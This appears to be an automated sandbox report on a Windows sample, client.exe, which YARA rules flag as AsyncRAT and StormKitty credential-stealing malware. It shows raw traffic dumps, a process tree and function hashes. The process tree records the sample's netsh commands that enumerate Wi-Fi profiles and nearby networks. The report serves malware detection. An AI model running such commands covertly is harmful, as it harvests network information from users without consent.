2b ca 3e 14 94 31 2b 9a 2c 7a c5 38 57 25 d0 b9 8a 8c 85 25 b9 69 38 85 e7 cf 6c 60 89 67 Data Ascii: ,0^.g!yc`bU ':UL$%$t0!DS0x p2C]+1}{-('Kc}M-bJ6 Ed(Zx@`ec2H,Zz+$?l"C-Xadho\|q}7&60"c`/<>h#5!+>1+,z8W%%i8l`g
2024-09-14 03:42:18 UTC	16355	OUT	Data Raw: a4 f1 8b f0 34 ac f6 90 d6 e6 de 3d 07 70 cf 99 c9 82 c9 d3 21 f5 f4 9d 24 59 e2 6e 19 4c 05 3b b2 b6 af 6f b7 38 74 95 5a 1c 5e 19 c7 03 86 1b f1 80 45 a5 5a 4e 89 69 29 43 47 fa ba cf 54 ea e5 5d 08 15 dc aa ea 79 5c dc ce 2b 5e 63 65 7a 3e e7 b5 3b 6d 87 e1 fc 59 73 c1 61 8a 7b 16 f3 96 bd 76 59 f5 0a b2 b2 24 e7 a1 ea fa 10 f6 ad 73 03 01 ab 5c bc b8 d7 71 df 0d 3d 37 1b 71 72 12 11 a7 6f 9f e2 01 bd d0 ba 00 69 3c 20 c1 bc 68 4b a6 27 58 f6 dd 87 9d 88 f9 97 12 1b ef 77 36 68 47 20 e5 31 b9 09 96 76 53 2c d5 47 4f 68 7e cd 48 f3 87 6c ae 15 c1 77 06 93 8d df 69 c2 cc 37 21 c3 42 9a f7 22 20 31 71 a0 ec 48 25 6d 4a c6 6e 69 fe c2 ca 4d bf d4 f5 8a a3 b0 df 5b 5d cc 6d 5f 92 9f 91 5b da e8 dc e0 cd 23 67 bc ec f5 43 26 a7 8a ef 10 a3 e6 ce db c5 eb e0 Data Ascii: 4=p!$YnL;o8tZ^EZNi)CGT]y\+^cez>;mYsa{vY$s\q=7qroi< hK'Xw6hG 1vS,GOh~Hlwi7!B" 1qH%mJniM[]m_[#gC&
2024-09-14 03:42:18 UTC	16355	OUT	Data Raw: b5 e1 ba ca d9 40 4a aa 78 7f 5c 16 7a 57 a1 e0 17 4f 5d b8 63 ee 82 67 89 e9 a9 90 0b 7c 89 4f 0a fd 37 9f 0f 12 f7 e9 2d 86 22 16 58 2b f0 4f 94 b7 69 0d 17 33 be 10 af 2e c3 75 1f b4 15 99 15 95 ff 39 78 54 ad f8 bb b6 8f 46 dd cd d9 9a 21 f0 f7 9d 3c af e7 f0 6f 97 a0 74 d1 65 cc 77 d6 e5 a8 13 1e 17 98 8f cc df 95 2a 40 60 32 86 a2 be 24 14 15 f4 b6 db 5e ae 51 bd 94 a7 f4 cd 6f 96 03 a4 ea a4 4d c9 d8 22 fa ba 10 be 42 f0 14 4e 3d df f7 2a da 6d d8 57 e6 37 3a c6 90 3f f5 f9 0a 2b 2a 24 32 5f dd f1 29 ee 13 f2 32 5f 63 9e f8 4a bd 7f 97 fd 4f 94 0e ba 3c af e4 e5 0d d4 9f b7 c9 a2 e9 b1 81 3f af 98 31 bf 94 95 a2 d3 8a fd c5 6c c3 29 7f 1f d7 63 b1 2a 39 5f e5 a8 f6 bc 3c d0 d9 c8 b9 d1 83 3e f4 7c ce 0e 53 5c 8c f1 83 91 26 97 cc d1 ef 83 86 3d a7 Data Ascii: @Jx\zWO]cg\|O7-"X+Oi3.u9xTF!<otew@`2$^QoM"BN=mW7:?+$2_)2_cJO<?1l)c9_<>\|S\&=
2024-09-14 03:42:18 UTC	405	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Sat, 14 Sep 2024 03:42:18 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":401,"description":"Unauthorized"}

Target ID:	0
Start time:	23:41:57
Start date:	13/09/2024
Path:	C:\Users\user\Desktop\client.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\client.exe"
Imagebase:	0xd50000
File size:	179'200 bytes
MD5 hash:	029AB1A2A01D846355AD4430F6E29B7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	23:42:07
Start date:	13/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:42:07
Start date:	13/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:42:07
Start date:	13/09/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0x500000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:42:07
Start date:	13/09/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show profile
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:42:07
Start date:	13/09/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr All
Imagebase:	0xd00000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:42:07
Start date:	13/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:42:07
Start date:	13/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:42:07
Start date:	13/09/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0x500000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:42:07
Start date:	13/09/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show networks mode=bssid
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	14.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.4%
Total number of Nodes:	87
Total number of Limit Nodes:	0

Executed Functions

Function 05ED0B20 Relevance: 1.6, APIs: 1, Instructions: 65
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 05ED0B6C

Memory Dump Source

Source File: 00000000.00000002.4495580926.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ed0000_client.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2e0fad8720fef6203cb59fdb5935beb77c804808fab025e1774edd8c65b7d4f4
Instruction ID: bbb38149c66a199af919ddd2c32ccdd195a518ed664cfea9083945389b126caf
Opcode Fuzzy Hash: 2e0fad8720fef6203cb59fdb5935beb77c804808fab025e1774edd8c65b7d4f4
Instruction Fuzzy Hash: FC213B317042188FCB55EB25C56879F76FBEF89344F244469C406A73A8EF769C42CB90

Function 02FB5AC0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb0caeadd521f3fba07b63449b8a8d03c544bd4e5a1cc72d466baa2dde29a2ef
Instruction ID: 7bd0ab8294adb50c4ea2950a4c804f451b7288a5dda61222e20c035bb5b245b8
Opcode Fuzzy Hash: cb0caeadd521f3fba07b63449b8a8d03c544bd4e5a1cc72d466baa2dde29a2ef
Instruction Fuzzy Hash: 09B14CB0E002098FDF15CFAAC9857DEBBF2BF88354F548129D915A7294EB789845CF81

Function 02FB6390 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 552a6f525d7a32cb1f9dbe4649e4e509b0556becf3c7d0fdda5a0bd82913605c
Instruction ID: 39b76caf71852729cfa06905d3f404a7a9b3c115f0946e40ec5f9022f97f3be8
Opcode Fuzzy Hash: 552a6f525d7a32cb1f9dbe4649e4e509b0556becf3c7d0fdda5a0bd82913605c
Instruction Fuzzy Hash: A6B15D70E00209CFDB11CFAAC9857EDBBF6AF88354F148129D915EB258EB749845CF81

Function 05ED5311 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000050), ref: 05ED53A3

Strings

4'eq, xrefs: 05ED535C

Memory Dump Source

Source File: 00000000.00000002.4495580926.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ed0000_client.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID: 4'eq
API String ID: 2492992576-1552367303
Opcode ID: fe76be2de759a754e07bc4cbd09a29ec124abd5267e820c001c9d68e9befd0e0
Instruction ID: ef6f7b6051e18e7e5fac6880fc43667f6a3e7c19bc23f444bb1af72fc33819f3
Opcode Fuzzy Hash: fe76be2de759a754e07bc4cbd09a29ec124abd5267e820c001c9d68e9befd0e0
Instruction Fuzzy Hash: BD2186B1804349CFCB04CFA9E804AEEFBB8FB08310F14855AE855A7285C7746A44CFA1

Function 05ED5320 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000050), ref: 05ED53A3

Strings

4'eq, xrefs: 05ED535C

Memory Dump Source

Source File: 00000000.00000002.4495580926.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ed0000_client.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID: 4'eq
API String ID: 2492992576-1552367303
Opcode ID: a1a31ce9e8668cccf6fdbd21811d42a2cbe358511ffc03b87f5f4b48f34aac7d
Instruction ID: 9176835172e94971e22dfa729080dcc403bf67a64f9985e2be35cfb9b4370346
Opcode Fuzzy Hash: a1a31ce9e8668cccf6fdbd21811d42a2cbe358511ffc03b87f5f4b48f34aac7d
Instruction Fuzzy Hash: 932138B180424ACFCB00DF99D9446EEFBF5FB08310F10855AD859B7284C7746944CFA5

Function 02FB1750 Relevance: 2.7, Strings: 2, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Teeq, xrefs: 02FB1785
(iq, xrefs: 02FB1A2A

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: (iq$Teeq
API String ID: 0-2499105880
Opcode ID: 762b05da963f00116cb8de423dd5385c393bc055307e884b3261ff42c10b4f71
Instruction ID: 20e4e76e05918ddbe50dfd94c7bb4e75f574e13e80a2b401ddbec99cdb951642
Opcode Fuzzy Hash: 762b05da963f00116cb8de423dd5385c393bc055307e884b3261ff42c10b4f71
Instruction Fuzzy Hash: 89818B75B101149FCB48EF79C458A6EBBE6FF88710F2180AAD50ADB3A5DE35DD018B90

Function 02FB6DA0 Relevance: 2.7, Strings: 2, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(iq, xrefs: 02FB6F20
(iq, xrefs: 02FB6EF4

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: (iq$(iq
API String ID: 0-2590639791
Opcode ID: 44556f60de4c2e0d483fdb481efbfb7900bf308f53f7dcab716ad35568712211
Instruction ID: 5e55c1e34b7efa7d99543bf87cf72724b16595dcf1a1a741d5b39ce295072956
Opcode Fuzzy Hash: 44556f60de4c2e0d483fdb481efbfb7900bf308f53f7dcab716ad35568712211
Instruction Fuzzy Hash: CC71C0717042004FCB19DF6DD890A6BBBEAEFC4250754847AE909CB39AEF31EC028790

Function 02FB7020 Relevance: 2.6, Strings: 2, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Teeq, xrefs: 02FB7051
dLkq, xrefs: 02FB709B

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: Teeq$dLkq
API String ID: 0-281180639
Opcode ID: c16a11af229c1420823fd6f5c91549081de140db38d1c86f93702bdddf5308cb
Instruction ID: 1a4d708ab4802a574da9900edb39e31693f0b515b37782f9051d6e4972332ec9
Opcode Fuzzy Hash: c16a11af229c1420823fd6f5c91549081de140db38d1c86f93702bdddf5308cb
Instruction Fuzzy Hash: EF51F475B101049FDB44DF69C898AAEBBF6FF88710B2540A9E506DB3B5DB71EC018B50

Function 02FB15B8 Relevance: 2.6, Strings: 2, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

dLkq, xrefs: 02FB15F3
Hiq, xrefs: 02FB16D8

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: Hiq$dLkq
API String ID: 0-2635426336
Opcode ID: b0df79e666c74c3fbb2a7ead4efd491b16237b46c137d58b1838c66273459a5a
Instruction ID: 4b17b5531a670a7c91926fd7bbe8337072b66ad70739127b2dfeec351a23a8f7
Opcode Fuzzy Hash: b0df79e666c74c3fbb2a7ead4efd491b16237b46c137d58b1838c66273459a5a
Instruction Fuzzy Hash: 8141C271B042048FCB05DF69C458AAEBBF6EF89300F1484AAE106EB3A1CA749C05CB91

Function 02FB8970 Relevance: 1.9, Strings: 1, Instructions: 667
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fjq, xrefs: 02FB8A53

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: fjq
API String ID: 0-1966867767
Opcode ID: 4cd45f9430be81a5e51dc511a7ee33468d0581b0ca1d3a0b6ab9a7161910f245
Instruction ID: 259762759c6ba972c1b3200962f855d26c6c370489f2e528b8a130b233d15479
Opcode Fuzzy Hash: 4cd45f9430be81a5e51dc511a7ee33468d0581b0ca1d3a0b6ab9a7161910f245
Instruction Fuzzy Hash: F5520D7CA1060DDFDB06ABA4D465BAEBB77FF88300F508414ED052339ECB75A891DA25

Function 02FBCB98 Relevance: 1.8, Strings: 1, Instructions: 531
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 02FBCD78

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 29bab37976ab73ec784454b55e7b3203b32124939927ad9117685371f35f404f
Instruction ID: eeb011f84c6d79305cf977350bcea82e317660096021e598de0db418bede10d3
Opcode Fuzzy Hash: 29bab37976ab73ec784454b55e7b3203b32124939927ad9117685371f35f404f
Instruction Fuzzy Hash: 133225B0E00609DFDB15DF6AC884B9EFBB2FF88344F24861AE5159B615D730E885CB85

Function 05ED0B10 Relevance: 1.6, APIs: 1, Instructions: 72
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 05ED0B6C

Memory Dump Source

Source File: 00000000.00000002.4495580926.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ed0000_client.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 95aa419ff6deb7b3ed7ccac0b6e44dfa15a448e2c2ec5242bb34ae2b559974a6
Instruction ID: 66875a969d85df6d82e9cb3052cd6944cf0eed2965268e32077a431fa288efab
Opcode Fuzzy Hash: 95aa419ff6deb7b3ed7ccac0b6e44dfa15a448e2c2ec5242bb34ae2b559974a6
Instruction Fuzzy Hash: D4215C327042088FDB55EB24C9587AEB7FBEB89344F244469C406A7358EF769C42CB90

Function 05ED0A6A Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 05ED0A89

Memory Dump Source

Source File: 00000000.00000002.4495580926.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ed0000_client.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 836b00604a507477d02942b4ec4f7ff695723b831dbb37fd2f400a7c73ea2fad
Instruction ID: e407046c02d65ad3fc244fc002c643e25b7a22b7eb7313fac9e0ac1fd4a1aced
Opcode Fuzzy Hash: 836b00604a507477d02942b4ec4f7ff695723b831dbb37fd2f400a7c73ea2fad
Instruction Fuzzy Hash: 45E06D36D01424DFDB26DB98E558AADF731FF84321F059125C48613548E7346893CBE2

Function 05ED0A7C Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 05ED0A89

Memory Dump Source

Source File: 00000000.00000002.4495580926.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ed0000_client.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 20615fff488a35a5423e097b81ad2e8f4e41da6cbd93dce9a74e9009f68b67d7
Instruction ID: e1cf9e50e87d9bf136531a0d0b520257707ae19be6c5d7346caaa91f35abb650
Opcode Fuzzy Hash: 20615fff488a35a5423e097b81ad2e8f4e41da6cbd93dce9a74e9009f68b67d7
Instruction Fuzzy Hash: 12E04632D01924EBDB25CB84E99CAEDF371FB80322F049129C48653544E7346897CB92

Function 02FB8651 Relevance: 1.4, Strings: 1, Instructions: 132COMMON

Download Yara Rule

Strings

K, xrefs: 02FB87A7

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-2299363055
Opcode ID: 221766ee78152289f4ceb37a16fb4245652deb0f6747a415949db9b86d094f72
Instruction ID: a4447826b3bdf75fa215cd8cc758273294272d34166b3e3b12920f4bf9b10e67
Opcode Fuzzy Hash: 221766ee78152289f4ceb37a16fb4245652deb0f6747a415949db9b86d094f72
Instruction Fuzzy Hash: 5F417F71E006098BCB15DFA9C550AAEBBF6FFC8384B21852DD516AB355DB30E945CB80

Function 02FB85FD Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

K, xrefs: 02FB87A7

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-2299363055
Opcode ID: b46adee165ec11af5536675e82da8d141ce90e3daf395b58eab2a72e039ae699
Instruction ID: 184a8a77774665a43ccaff8ce4e7c044d0543f066074c115a4540830bb8c7bf2
Opcode Fuzzy Hash: b46adee165ec11af5536675e82da8d141ce90e3daf395b58eab2a72e039ae699
Instruction Fuzzy Hash: 6C418F71E046098FCB16DFA9C5505AEBBF6FF88384B21856AC516AB355EB30AC45CB40

Function 02FB860D Relevance: 1.4, Strings: 1, Instructions: 119COMMON

Download Yara Rule

Strings

K, xrefs: 02FB87A7

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-2299363055
Opcode ID: 27b8f65c9f69fb2c278f3d2e7c7c34b5c6aab0994243bc5b7a5999ec9409b84d
Instruction ID: 55fb6e3aad25c1af71414fa84b92a88246404da59b0fe42f36f3ceda27828465
Opcode Fuzzy Hash: 27b8f65c9f69fb2c278f3d2e7c7c34b5c6aab0994243bc5b7a5999ec9409b84d
Instruction Fuzzy Hash: CC41B171E046098FCB16DFA9C5506AEBBF6BFC9384B21856EC506AB355DB30EC45CB40

Function 02FB861F Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

K, xrefs: 02FB87A7

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-2299363055
Opcode ID: 6100403fc7631d8793769c4be03e1a1644a5aa2dbdf7d097766b7693e16b6b2d
Instruction ID: 4605a198444dffc0835158ab3c0f395f33bfbc6e07f2a258f8250241a7feed8f
Opcode Fuzzy Hash: 6100403fc7631d8793769c4be03e1a1644a5aa2dbdf7d097766b7693e16b6b2d
Instruction Fuzzy Hash: A7417F71E046098FCB16DFA9D5905AEBBF6FFC8384B61852EC506AB355EB30AC45CB40

Function 02FB15A8 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

dLkq, xrefs: 02FB15F3

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: dLkq
API String ID: 0-1300969514
Opcode ID: c633e1531296a7ac5bd4910cb162316483d226d6de6ca86ea0f1dbc17b311792
Instruction ID: e3724a68847c0874eb09dc597a971e2a7cbba2b28b827cec12041f5fb29e97d9
Opcode Fuzzy Hash: c633e1531296a7ac5bd4910cb162316483d226d6de6ca86ea0f1dbc17b311792
Instruction Fuzzy Hash: 7541AE71A002048FCB16DF69D498BEABBF6EF48304F1845A9E505AB3A1CB749904CF90

Function 02FB1BD0 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

LReq, xrefs: 02FB1C23

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: LReq
API String ID: 0-2687900687
Opcode ID: 15e93c8ef5935d51f57a1ccb57ed89457967c273b78cbf8994a97066890ff686
Instruction ID: 50d987ec8c799c111c96cecd3db043631230dd00945dfb87747945528ff8d5c0
Opcode Fuzzy Hash: 15e93c8ef5935d51f57a1ccb57ed89457967c273b78cbf8994a97066890ff686
Instruction Fuzzy Hash: D031D471F002169FCB45EBB98955ABFBBF6FF89211B144169E509DB3A4EE30DC018790

Function 02FB1DFD Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

lqjq, xrefs: 02FB1DA2

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: lqjq
API String ID: 0-3180812103
Opcode ID: 35916e3e67e93da7bfe2838f3b5bd7cfb80203afb5fde72091cb27f5441c1f8a
Instruction ID: f28471831c9248021d4edce0d065bbb200e0690b9ad4dfeaaa05fd8261169fd5
Opcode Fuzzy Hash: 35916e3e67e93da7bfe2838f3b5bd7cfb80203afb5fde72091cb27f5441c1f8a
Instruction Fuzzy Hash: 0C210830A0020A8FCB02EF64D9206EE7BF5FF49300F54056AD005DB26ADF715D46C791

Function 02FB16D7 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

Hiq, xrefs: 02FB16D8

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: Hiq
